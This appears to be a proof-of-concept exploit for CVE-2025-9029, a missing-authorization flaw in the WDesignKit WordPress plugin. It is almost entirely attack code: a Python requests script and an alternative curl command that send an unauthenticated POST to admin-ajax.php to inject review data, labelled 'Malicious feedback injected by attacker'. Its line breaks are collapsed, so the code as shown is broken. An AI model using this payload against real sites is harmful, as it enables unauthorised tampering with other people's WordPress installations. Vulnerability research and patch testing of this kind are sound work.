CVE-2025-9029

# CVE-2025-9029 PoC - WDesignKit Missing Authorization # Vulnerability: Unauthenticated feedback submission via wdkit_handle_review_submission # Affected versions: <= 1.2.16 # Fixed in: 1.2.17 import requests # Target WordPress site with vulnerable WDesignKit plugin TARGET_URL = "http://target-wordpress-site.com" AJAX_ENDPOINT = f"{TARGET_URL}/wp-admin/admin-ajax.php" # Exploit payload - submit feedback without authentication payload = { "action": "wdkit_handle_review_submission", "review_data": { "rating": "5", "comment": "Malicious feedback injected by attacker", "email": "[email protected]", "username": "unauthorized_user" } } def exploit_missing_authorization(target_url, payload): """ Exploit missing authorization in WDesignKit's review submission function. No authentication or nonce verification required. """ endpoint = f"{target_url}/wp-admin/admin-ajax.php" # Send unauthenticated POST request to trigger the vulnerable function response = requests.post( endpoint, data=payload, headers={ "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "Content-Type": "application/x-www-form-urlencoded" } ) if response.status_code == 200: print(f"[+] Exploit successful! Status: {response.status_code}") print(f"[+] Response: {response.text[:500]}") return True else: print(f"[-] Exploit failed. Status: {response.status_code}") return False # Execute exploit if __name__ == "__main__": exploit_missing_authorization(TARGET_URL, payload) # Alternative: Direct curl command # curl -X POST "http://target-wordpress-site.com/wp-admin/admin-ajax.php" \ # -d "action=wdkit_handle_review_submission&review_data[rating]=5&review_data[comment]=test"

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